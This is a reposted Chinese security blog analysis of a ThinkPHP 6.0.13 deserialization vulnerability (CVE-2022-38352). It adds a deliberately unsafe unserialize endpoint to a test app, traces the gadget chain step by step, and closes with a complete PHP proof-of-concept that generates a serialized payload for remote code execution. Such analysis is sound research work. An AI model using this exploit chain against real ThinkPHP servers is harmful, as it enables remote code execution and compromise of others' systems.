好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

admin 2023年3月6日18:27:11评论111 views字数 3173阅读10分34秒阅读模式

嗨,大家好,欢迎来到【好文分享系列】,不定期转载分享干货好文,让大家一起学习进步,一起卷起来。

文章转载自先知社区,原文链接如下:https://xz.aliyun.com/t/12169(如有侵权,可联系删除)


1.环境搭建

目前的Thinkphp6.1.0以上已经将filesystem移除了,之前因为这玩意儿曝出了好多条反序列化漏洞。
composer安装Thinkphp6.0.13:

composer create-project topthink/think=6.0.13 tp6

修改app/controller/Index.php添加反序列化点:

<?php
namespace appcontroller;

use appBaseController;

class Index extends BaseController
{
public function index(){
if($_POST["a"]){
unserialize(base64_decode($_POST["a"]));
}
return "hello";
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
2.漏洞分析

入口是LeagueFlysystemCachedStoragePsr6Cache父类LeagueFlysystemCachedStorageAbstractCache__destruct()方法

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

$this->autosave可控,调用Psr6Cache类的save()方法,跟进:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

$this->pool可控,可以调用任意类的__call()方法,漏洞披露者在这儿调用的是thinklogChannel类的__call()方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

传入的参数中$method是调用调用__call()方法时的方法名,即getItem。$parameters传入的是可控的$this->key。跟进log()方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

调用了record()方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

这里面很多参数都可控,控制$this->lazy参数为false即可调用save()方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

$this->logger参数可控,调用任意类的save()方法,这里利用的是thinklogdriverSocket的save()方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

首先是要绕过第一个判断,if (!$this->check()),需要check()方法返回true,跟进check()方法看看:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

这里控制$this->config['force_client_ids']为true,$this->config['allow_client_ids']为空即可成功返回true。返回save()方法,控制$this->config['debug']为true进入分支:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

继续进入下一个分支需要$this->app->exists('request')返回true。所以给$this->app赋值为thinkAPP类,APP类没有exists()方法,调用父类thinkContainer的exists()方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

注释中说明了这个方法的功能,传入的$abstract参数是request,调用getAlias()方法,跟进看一下这个方法的功能:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

根据别名获取真实类名,所以这个函数的返回的是thinkRequest,需要exists()方法中的isset($this->instances[$abstract])返回true,给$this->instances赋值为['thinkRequest'=>new Request()]即可:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

接下来,调用Request类的url()方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

url()方法中将我们可控的$this->url赋值给$url,同时因为传入的$complete参数为true,所以会调用domain()方法,并将返回结果和可控的$url拼接起来:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

这里是在拼接协议和host,我这里调试获取到的结果是:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

执行url()方法获取到的结果赋值给$currentUri参数:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

给$this->config['format_head']赋值,执行Container类的invoke方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

跟进invoke()方法,执行第三个return语句:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

跟进invokeMethod方法,如果我们传入的是数组,就将键赋给$class,将值赋给$method:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

接下来的代码玩java反序列化的选手应该比较熟悉了,这三行代码实现了反射执行任意类的任意方法:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

而其中$class和$method是我们控制的$this->config['format_head']变量中的内容,$vars是$currentUri变量中的内容,其中拼接时传入的$this->url部分是我们可控的:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

三个参数都可控,寻找一个可以利用的类和方法,这里找到的是thinkviewdriverPhp#display(),很明显的rce了:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

再回头来看看我们传的参数,$currentUri变量的前半部分是http://,后半部分就是我们拼接的$this->url,控制$this->url为我们想要执行的php代码即可:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

最终实现RCE:

好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

Poc:

<?php

namespace LeagueFlysystemCachedStorage{

class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}

namespace thinklog{
class Channel{
protected $logger;
protected $lazy = true;

public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}

namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php system('calc'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['thinkRequest'=>new Request()];
}
}
}

namespace thinkviewdriver{
class Php{}
}

namespace thinklogdriver{

class Socket{
protected $config = [];
protected $app;
public function __construct(){

$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new thinkviewdriverPhp,'display'],
];
$this->app = new thinkApp();

}
}
}

namespace{
$c = new thinklogdriverSocket();
$b = new thinklogChannel($c);
$a = new LeagueFlysystemCachedStoragePsr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}

参考链接:https://github.com/top-think/framework/issues/2749




原文始发于微信公众号(玄魂工作室):好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月6日18:27:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   好文分享系列 || Thinkphp v6.0.13反序列化(CVE-2022-38352)分析https://cn-sec.com/archives/1590019.html

发表评论

匿名网友 填写信息